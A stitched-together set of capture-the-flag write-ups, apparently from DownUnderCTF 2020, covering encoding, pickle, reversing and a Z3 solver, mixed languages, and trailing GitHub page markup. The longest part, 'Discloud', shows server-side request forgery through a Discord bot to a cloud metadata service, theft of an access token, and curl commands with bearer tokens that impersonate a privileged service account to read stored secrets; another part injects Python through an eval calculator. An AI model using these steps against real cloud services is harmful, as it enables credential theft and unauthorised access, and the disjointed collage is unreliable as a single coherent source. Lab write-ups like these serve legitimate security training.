### SolutionI have no idea about baseball, but I know that the string looks like encoding and it's not base 16 (hex). Base64 deconding it gives us the flag.
Flag: DUCTF{16_h0m3_run5_m34n5_runn1n6_p457_64_b4535}
## In a picklePoints: 200
#### Description>We managed to intercept communication between und3rm4t3r and his hacker friends. However it is obfuscated using something. We just can't figure out what it is. Maybe you can help us find the flag?
### SolutionWe get a file with the next content:```text(dp0I1S'D'p1sI2S'UCTF'p2sI3S'{'p3sI4I112sI5I49sI6I99sI7I107sI8I108sI9I51sI10I95sI11I121sI12I48sI13I117sI14I82sI15I95sI16I109sI17I51sI18I53sI19I53sI20I52sI21I103sI22I51sI23S'}'p4sI24S"I know that the intelligence agency's are onto me so now i'm using ways to evade them: I am just glad that you know how to use pickle. Anyway the flag is "p5s.```Looking at this and considering the challenge title is becomes clear that this is a pickled object. I used the next script to unpickle it and get the flag:```pythonimport pickle# open file for readfdata = open('data', 'rb')# deserialize dataunpickled = pickle.load(fdata, encoding="ASCII")# convert integers to characterschars = [chr(x) if str(x).isnumeric() else x for x in unpickled.values()]flag = ''.join(chars)print(flag)```
Flag: DUCTF{p1ckl3_y0uR_m3554g3}
## AdditionPoints: 425
#### Description>Joe is aiming to become the next supreme coder by trying to make his code smaller and smaller. His most recent project is a simple calculator which he reckons is super secure because of the "filters" he has in place. However, he thinks that he knows more than everyone around him. Put Joe in his place and grab the flag.>>https://chal.duc.tf:30302/
### SolutionWe are prompted with a page that seems to do calculations of whatever input we provide.
Let's try some other inputs to check what are our limitations. Entering `'A' * 10` we get `AAAAAAAAAA` so we are not limited to only numbers. I tried some more values and in the end I decided to try to obtain the source code. First step I entered `__file__` to get the file name: `./main.py `. Next, I read the file with `open(__file__, 'r').read()` and actually the source code contained the flag.
Flag: DUCTF{3v4L_1s_D4ng3r0u5}
# Forensics## On the spectrumPoints: 100
#### Description>My friend has been sending me lots of WAV files, I think he is trying to communicate with me, what is the message he sent?>>Author: scsc>>Attached files:>> message_1.wav (sha256: 069dacbd6d6d5ed9c0228a6f94bbbec4086bcf70a4eb7a150f3be0e09862b5ed)
### SolutionWe get a `.wav` file and, as the title suggest, we might find the flag in the spectogram. For viewing it I used [Sonic Visualizer](https://sonicvisualiser.org/). I played a little with the settings to view it better.
Flag: DUCTF{m4bye_n0t_s0_h1dd3n}
# Crypto## rot-iPoints: 100
#### DescriptionROT13 is boring!
Attached files:
challenge.txt (sha256: ab443133665f34333aa712ab881b6d99b4b01bdbc8bb77d06ba032f8b1b6d62d)
### SolutionWe recieve a file with the next content: `Ypw'zj zwufpp hwu txadjkcq dtbtyu kqkwxrbvu! Mbz cjzg kv IAJBO{ndldie_al_aqk_jjrnsxee}. Xzi utj gnn olkd qgq ftk ykaqe uei mbz ocrt qi ynlu, etrm mff'n wij bf wlny mjcj :).`We know it's a form of ROT, but which one? Well, it's an incrementing one, starting from ROT-0 actually. I extracted only the encoded flag and I used the next script for deconding it:
```pythonimport string
flag_enc = "IAJBO{ndldie_al_aqk_jjrnsxee}"flag_dec = []k = 0
def make_rot_n(n, s): lc = string.ascii_lowercase uc = string.ascii_uppercase trans = str.maketrans(lc + uc, lc[n:] + lc[:n] + uc[n:] + uc[:n]) return str.translate(s, trans)
for i in reversed(range(22 - len(flag_enc), 22)): flag_dec.append(make_rot_n(i, flag_enc[k])) k += 1
print(''.join(flag_dec))```
Flag: DUCTF{crypto_is_fun_kjqlptzy}
# Reversing## FormattingPoints: 100
#### Description>Its really easy, I promise>>Files: formatting
### SolutionThe file received is a 64 bits ELF binary.
Running `strings` on it gives us some clues, but not the entire flag. I opened the bynary in [Radare2](https://github.com/radareorg/radare2) to better analyze it. I guess you can get the flag in simpler ways, but I'm trying to get better with this tool.
I opened it with `r2 -d formatting`, analyzed it with `aaa` and looked over the assembly.
I saw multiple times characters are inserted in `var_90h` so I assumed that's the flag. I set a breakpoint on `lea rax, [var_90h]` and one one `mov byte [rbp + rax - 0x90], dl`. After the first breakpoint the `var_90h` contained only `DUCTF{`.
However, after the second breakpoint we get the flag.
Flag: DUCTF{d1d_You_Just_ltrace_296faa2990acbc36} |
# formatting:reversing:100ptsIts really easy, I promise Files: [formatting](https://play.duc.tf/files/235a555e84c8fe3cdbd0bb4c90389583/formatting) [formatting](formatting)
# Solutionファイルが渡されるので実行するが、以下のようになるだけである。 stringsでも完全なものは出てこないようだ。 ```bash$ ./formattinghaha its not that easy}$ strings ./formatting/lib64/ld-linux-x86-64.so.2libc.so.6sprintfputs__cxa_finalize__libc_start_mainGLIBC_2.2.5_ITM_deregisterTMCloneTable__gmon_start___ITM_registerTMCloneTableu/UHARAQAPWQA[]A\A]A^A_DUCTF{haha its not that easy}%s%02x%02x%02x%02x%02x%02x%02x%02x}d1d_You_Just_ltrace_;*3$"~~~```実行時にstringsで得られたダミーの先頭が消えているのが気になる。 数字も不明である。 gdbで解析する(一部出力は省略)。 ```bash$ gdb ./formattinggdb-peda$ startgdb-peda$ n 40``` stackにflagがあった。
## DUCTF{d1d_You_Just_ltrace_296faa2990acbc36} |
# Discloud#### Author: Blue Alder#### Category: Misc
The cloud is a big place and there's lots there and there are lots of SECRETS. There is a discord bot called MemeSurfer#3829 in the DUCTF discord channel, it has been designed and implemented using GCP CLOUD technologies written using the help of discord.js your mission if you choose to accept it, is to heist the SECRETS of the cloud using this bot. Good Luck.
Note: To interact with the bot please DM it and don't be shy. Usage:
`!meme {list,get,sign}`
---
**NOTE**: The writeup looks a bit better on the github page due to better formatting, so I would recommend you to read it there instead: [https://github.com/bootplug/writeups/blob/master/2020/downunderctf/misc/discloud/README.md](https://github.com/bootplug/writeups/blob/master/2020/downunderctf/misc/discloud/README.md)
This is a cloud challenge, and I had not done that much cloud stuff before, so this was exciting :)
In the task description we can see there is a Discord bot called `MemeSurfer#3829` we have to talk to.The goal of this challenge is probably to pivot the Cloud infrastructure to get access to the SecretManager where you can store Secrets.
It did not respond at first, but it worked eventually.
We can see there are 3 commands available:* `!meme list`* `!meme get`* `!meme sign`
Let's test what they do!
---
There are a few memes available via the `!meme list` command, and I bet we can get the memes using the `!meme get` command.
Perfect! We got our first meme, but we need to find some kind of vulnerability, so I tried to use some LFI vuln to get /etc/passwd as a test:
We got a file back, let's see whats inside!
```xml<Error>SignatureDoesNotMatch<Message>The request signature we calculated does not match the signature you provided. Check your Google secret key and signing method.</Message><StringToSign>GOOG4-RSA-SHA25620200918T124200Z20200918/auto/storage/goog4_request17ac1243ec012b97f3ae137629405346f1214d21f953a9d33191b2829c3fc426</StringToSign><CanonicalRequest>GET/etc/passwdX-Goog-Algorithm=GOOG4-RSA-SHA256&X-Goog-Credential=memeboy123%40discloud-chal.iam.gserviceaccount.com%2F20200918%2Fauto%2Fstorage%2Fgoog4_request&X-Goog-Date=20200918T124200Z&X-Goog-Expires=3600&X-Goog-SignedHeaders=hosthost:storage.googleapis.com
hostUNSIGNED-PAYLOAD</CanonicalRequest></Error>```
This is not what we expected! It seems like the bot tries to fetch the meme from Google Cloud Storage, but the signature was wrong.This is probably because of some redirect (That it signed the path with all the `../` we added, but then signature was wrong when it redirected to /etc/passwd).
Anyways, let's keep on going! We get some information from the message above. There is a service account here with the email:```[email protected]```
We also now know that the name of the project is `discloud-chal`.
With the `!meme sign` command it looks like we can make presigned links to share with our friends. Here is an example:
It looks like the name of the bucket is `epic-memez`. I also tried to create a few links to find a vulnerability here, but didn't find anything during my few attempts, because I found something else that was interesting.
We can use `!meme get -su` to make the bot fetch internal sites, like the cloud instance's metadata api. This is located at:http://metadata.google.internal/0.1/meta-data, http://metadata.google.internal/computeMetadata/v1, or http://169.254.169.254/computeMetadata/v1
The file MemeSurfer sends us contains the following:```attached-disksattributes/auth-tokenauth_tokenauthorized-keysauthorized_keysdescriptiondomainhostnameimageinstance-idmachine-typenetworknumeric-project-idproject-idservice-accountsservice-accounts/tagszone```
This is basically "files" and "folders" containing metadata information.
From here we can get a lot of metadata that can be useful. Project ID, Service account details, zones, instance ID, and so on.We can also check the scopes of the current service account:```!meme get -su http://metadata.google.internal/0.1/meta-data/service-accounts/[email protected]``````json{ "serviceAccounts": [ { "scopes": ["https://www.googleapis.com/auth/cloud-platform"], "serviceAccount":"[email protected]" } ]}```With our current scope we can `View and manage your data across Google Cloud Platform services`. This seems pretty neat!
There is also another useful thing we can do with the Compute metadata API. We can create an OAuth2 access token. By default, access tokens have the cloud-platform scope, which allows access to all Google Cloud Platform APIs, assuming IAM also allows access.
This file contains our new access token that we can use in an `Authorization` header when doing HTTP requests from the outside. Now we don'thave to talk with the bot anymore, but can use this token to access the Google Cloud REST API from our own computer.
```json{ "access_token": "ya29.c.Kn_dB1yqILFXvNzBMncPrpCALQ-4dhzfhNjIudh6ZCmaAtBNbGWzjTn9YmBSSxUDplTVcMmcuuKcw6qpK3fc68JT2BI7wrGHLcQ4mifGQ0AyVaQZGJQ1JKQxfIF015gLdNK8SeQjdQufCnXZTvWm0GirhKB7VtmheE1-r09n9khj", "expires_in": 3027, "token_type": "Bearer"}```
This token will expire after a while... But we will be quick! :) Now we can try to get a list of what's inside the `epic-memez` bucket:
`curl -H "Authorization: Bearer ya29.c.Kn_dB1yqILFXvNzBMncPrpCALQ-4dhzfhNjIudh6ZCmaAtBNbGWzjTn9YmBSSxUDplTVcMmcuuKcw6qpK3fc68JT2BI7wrGHLcQ4mifGQ0AyVaQZGJQ1JKQxfIF015gLdNK8SeQjdQufCnXZTvWm0GirhKB7VtmheE1-r09n9khj" 'https://storage.googleapis.com/epic-memez'````xml<ListBucketResult xmlns="http://doc.s3.amazonaws.com/2006-03-01"> <Name>epic-memez</Name> <Prefix/> <Marker/> <IsTruncated>false</IsTruncated> <Contents> <Key>png.jpg</Key> <Generation>1599978653783100</Generation> <MetaGeneration>1</MetaGeneration> <LastModified>2020-09-13T06:30:53.782Z</LastModified> <ETag>"fbc570ab21631c194cb8bfb02f71aa5c"</ETag> <Size>59112</Size> </Contents> <Contents> <Key>pwease.jpg</Key> <Generation>1599978653714952</Generation> <MetaGeneration>1</MetaGeneration> <LastModified>2020-09-13T06:30:53.714Z</LastModified> <ETag>"a5d78d68bbe322dd9eb7c0b7cc10d351"</ETag> <Size>78556</Size> </Contents> <Contents> <Key>well.jpg</Key> <Generation>1599978653713841</Generation> <MetaGeneration>1</MetaGeneration> <LastModified>2020-09-13T06:30:53.713Z</LastModified> <ETag>"d3dc9d37be995443389a5afa070b87b4"</ETag> <Size>32300</Size> </Contents> <Contents> <Key>winsad.png</Key> <Generation>1599978653838259</Generation> <MetaGeneration>1</MetaGeneration> <LastModified>2020-09-13T06:30:53.838Z</LastModified> <ETag>"84ad4a0d5616f33238540ba028da0114"</ETag> <Size>243497</Size> </Contents></ListBucketResult>```
It looks like all of the memes we could get from the bot is in this bucket, but nothing else so this is a dead end :(In the task description there is a hint about SECRETS, so let's look into what we can do with the SecretManager REST API:https://cloud.google.com/secret-manager/docs/reference/rest
We can apparently get a list of all the available secrets, so what are we waiting for?
`curl -H "Authorization: Bearer ya29.c.Kn_dB1yqILFXvNzBMncPrpCALQ-4dhzfhNjIudh6ZCmaAtBNbGWzjTn9YmBSSxUDplTVcMmcuuKcw6qpK3fc68JT2BI7wrGHLcQ4mifGQ0AyVaQZGJQ1JKQxfIF015gLdNK8SeQjdQufCnXZTvWm0GirhKB7VtmheE1-r09n9khj" 'https://secretmanager.googleapis.com/v1beta1/projects/discloud-chal/secrets'`
```json{ "error": { "code": 403, "message": "Permission 'secretmanager.secrets.list' denied for resource 'projects/discloud-chal' (or it may not exist).", "status": "PERMISSION_DENIED" }}```
Oh no! We do not have access to view the secrets... Maybe there is another service account that has this kind of permission? According to the [documentation](https://cloud.google.com/iam/docs/reference/rest/v1/projects.serviceAccounts/list)we can get a list of all the service account for a specific project using the following request (We remember that the project name is `discloud-chal`):
`curl -H "Authorization: Bearer ya29.c.Kn_dB1yqILFXvNzBMncPrpCALQ-4dhzfhNjIudh6ZCmaAtBNbGWzjTn9YmBSSxUDplTVcMmcuuKcw6qpK3fc68JT2BI7wrGHLcQ4mifGQ0AyVaQZGJQ1JKQxfIF015gLdNK8SeQjdQufCnXZTvWm0GirhKB7VtmheE1-r09n9khj" 'https://iam.googleapis.com/v1/projects/discloud-chal/serviceAccounts'````json{ "accounts": [ { "name": "projects/discloud-chal/serviceAccounts/[email protected]", "projectId": "discloud-chal", "uniqueId": "103897546930383781490", "email": "[email protected]", "displayName": "Compute Engine default service account", "etag": "MDEwMjE5MjA=", "oauth2ClientId": "103897546930383781490" }, { "name": "projects/discloud-chal/serviceAccounts/[email protected]", "projectId": "discloud-chal", "uniqueId": "100479552989971744784", "email": "[email protected]", "displayName": "gets da secrets", "etag": "MDEwMjE5MjA=", "oauth2ClientId": "100479552989971744784" }, { "name": "projects/discloud-chal/serviceAccounts/[email protected]", "projectId": "discloud-chal", "uniqueId": "108544651382203580242", "email": "[email protected]", "displayName": "gets da memes", "etag": "MDEwMjE5MjA=", "oauth2ClientId": "108544651382203580242" } ]}```
This looks very promising! We actually found 3 service accounts :+1:
`[email protected]` is probably the account we want to use, but how can we authenticate as this account?
There is actually an API for creating access tokens for a specific service account here: https://cloud.google.com/iam/docs/reference/credentials/rest/v1/projects.serviceAccounts/generateAccessToken
Let's check if it works!
We now need to do the following POST request:
`curl -H 'authorization: Bearer ya29.c.Kn_dB1yqILFXvNzBMncPrpCALQ-4dhzfhNjIudh6ZCmaAtBNbGWzjTn9YmBSSxUDplTVcMmcuuKcw6qpK3fc68JT2BI7wrGHLcQ4mifGQ0AyVaQZGJQ1JKQxfIF015gLdNK8SeQjdQufCnXZTvWm0GirhKB7VtmheE1-r09n9khj' https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/[email protected]:generateAccessToken -XPOST -H 'content-type: application/json' --data '{"delegates":[],"scope":["https://www.googleapis.com/auth/cloud-platform"]}'`
I first tried to send an empty `scope` value, but that did not work, so I set it to `https://www.googleapis.com/auth/cloud-platform`. We now get an access token back!
```json{ "accessToken": "ya29.c.Ko4C3Qf-S8rcLf1PkZildJPzRHxI60kqRM414NUfZYolVvSugFRMevK2nMs_2I_X9ScCf7JssEeNrQWrjlXZxwv6L0AR8tLGXpgzCaSE_XUpIuhie1zgcWukTbL24eHzQfUFPg_oPazKbSOitKYd4WC9izaniIG_z0IrF0FxEex4tbP_awrsJut6KSDg14oiqkUS2G0Nq7U8gN32NCmSp2zmSCgA5wODE92SrXSTYS-XZqIrzOS8vUqwz0oqSd0b-wlpKfMdd6N7quUgCltNfKi3tAOIrvvA6OK5-iBdKarQnZ1skm6wfqZujMo9yt5moELuT87ZYPxMhb2ZNIg8iQmxbwnV4gNwVPnGNzA5_S8z", "expireTime": "2020-09-18T17:17:25Z"}```
Now we can try to use this access token to get a list of all the secrets like we tried earlier.
`curl -H 'authorization: Bearer ya29.c.Ko4C3Qf-S8rcLf1PkZildJPzRHxI60kqRM414NUfZYolVvSugFRMevK2nMs_2I_X9ScCf7JssEeNrQWrjlXZxwv6L0AR8tLGXpgzCaSE_XUpIuhie1zgcWukTbL24eHzQfUFPg_oPazKbSOitKYd4WC9izaniIG_z0IrF0FxEex4tbP_awrsJut6KSDg14oiqkUS2G0Nq7U8gN32NCmSp2zmSCgA5wODE92SrXSTYS-XZqIrzOS8vUqwz0oqSd0b-wlpKfMdd6N7quUgCltNfKi3tAOIrvvA6OK5-iBdKarQnZ1skm6wfqZujMo9yt5moELuT87ZYPxMhb2ZNIg8iQmxbwnV4gNwVPnGNzA5_S8z' https://secretmanager.googleapis.com/v1beta1/projects/discloud-chal/secrets`
```json{ "name": "projects/940676843154/secrets/big_secret", "replication": { "automatic": {} }, "createTime": "2020-09-13T06:32:31.797548Z"}```
Nice, there is a `big_secret` here! :+1:
But what does it contain? According to the [documentation](https://cloud.google.com/secret-manager/docs/reference/rest/v1beta1/projects.secrets.versions/access) we need to add `:access` to access the data we want:
`curl -H 'authorization: Bearer ya29.c.Ko4C3Qf-S8rcLf1PkZildJPzRHxI60kqRM414NUfZYolVvSugFRMevK2nMs_2I_X9ScCf7JssEeNrQWrjlXZxwv6L0AR8tLGXpgzCaSE_XUpIuhie1zgcWukTbL24eHzQfUFPg_oPazKbSOitKYd4WC9izaniIG_z0IrF0FxEex4tbP_awrsJut6KSDg14oiqkUS2G0Nq7U8gN32NCmSp2zmSCgA5wODE92SrXSTYS-XZqIrzOS8vUqwz0oqSd0b-wlpKfMdd6N7quUgCltNfKi3tAOIrvvA6OK5-iBdKarQnZ1skm6wfqZujMo9yt5moELuT87ZYPxMhb2ZNIg8iQmxbwnV4gNwVPnGNzA5_S8z' https://secretmanager.googleapis.com/v1beta1/projects/discloud-chal/secrets/big_secret/versions/latest:access`
Running the command above yields the flag: `DUCTF{bot_boi_2_cloud_secrets}`
Listing the service accounts and creating an access token for secret-manager was apparently an unintended way of solving this challenge. The intendedway (written by the author) can be found [here](https://github.com/DownUnderCTF/Challenges_2020_public/blob/master/misc/discloud/writeup.md).
**In retrospect:** I also did not try to use the 3rd service account we found earlier, so I wonder if using that account would've given me more access to the cloud infrastructure than the author intended me to get. Maybe we could've gotten access to other projects (challenges) or instances? |
Using Z3 to model the Instructions
Author: [0xec](https://twitter.com/0xec_)
```# Author: 0xec# https://0xec.blogspot.com/# https://twitter.com/0xec_from z3 import *
def dword_from_bytes(b): return Concat(b[3], b[2], b[1], b[0])
def swap_endian(b): b3 = Extract(31, 24, b) b2 = Extract(23, 16, b) b1 = Extract(15, 8, b) b0 = Extract(7, 0, b) return Concat(b0, b1, b2, b3)
def main(): flag = [BitVec('c' + str(i), 8) for i in range(16)] shuffle = [2, 6, 7, 1, 5 , 0xb, 9, 0xe, 3, 0xf, 4, 8, 0xa, 0xc, 0xd, 0]
# pshufb xmm0, xmmword [rel SHUFFLE] output = list(map(lambda x: flag[x], shuffle))
p3 = dword_from_bytes(output[0:4]) p2 = dword_from_bytes(output[4:8]) p1 = dword_from_bytes(output[8:12]) p0 = dword_from_bytes(output[12:16])
# paddd xmm0, xmmword [rel ADD32] p3 = (p3 + 0xdeadbeef) p2 = (p2 + 0xfee1dead) p1 = (p1 + 0x13371337) p0 = (p0 + 0x67637466)
output = Concat(swap_endian(p3), swap_endian(p2), swap_endian(p1), swap_endian(p0))
xor_bytes = [0x76, 0x58, 0xb4, 0x49, 0x8d, 0x1a, 0x5f, 0x38, 0xd4, 0x23, 0xf8, 0x34, 0xeb, 0x86, 0xf9, 0xaa]
# pxor xmm0, xmmword [rel XOR] xor_val = int.from_bytes(bytearray(xor_bytes), byteorder="big") output = output ^ xor_val
s = Solver()
for i in range(16): high = ((16 - i) * 8) - 1 low = ((16 - i) * 8) - 8 s.add(flag[i] == Extract(high, low, output))
s.add(flag[0] == ord('C')) s.add(flag[1] == ord('T')) s.add(flag[2] == ord('F')) s.add(flag[3] == ord('{'))
if s.check() == sat: m = s.model() print(bytes(map(lambda x: m[x].as_long(), flag)).decode())
if __name__ == '__main__': main()```
### Output
```$ python3.7 solve.pyCTF{S1MDf0rM3!}``` |
### I just relized when i run this program using ltrace, program is do memcpy.
### so i think the flag maybe saved on memory, so i open it with gdb and add breakpoints after program doing memcpy.
### and i do dump memory.
### and i open file that contain memory dump from the program using hexeditor and search for flag format.
> DUCTF{adv4ncedEncrypt3dShellCode}
[my blog](http://medium.com/@InersIn) |
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<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
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<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-text-success d-none m-2"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> </clipboard-copy> </div></template>
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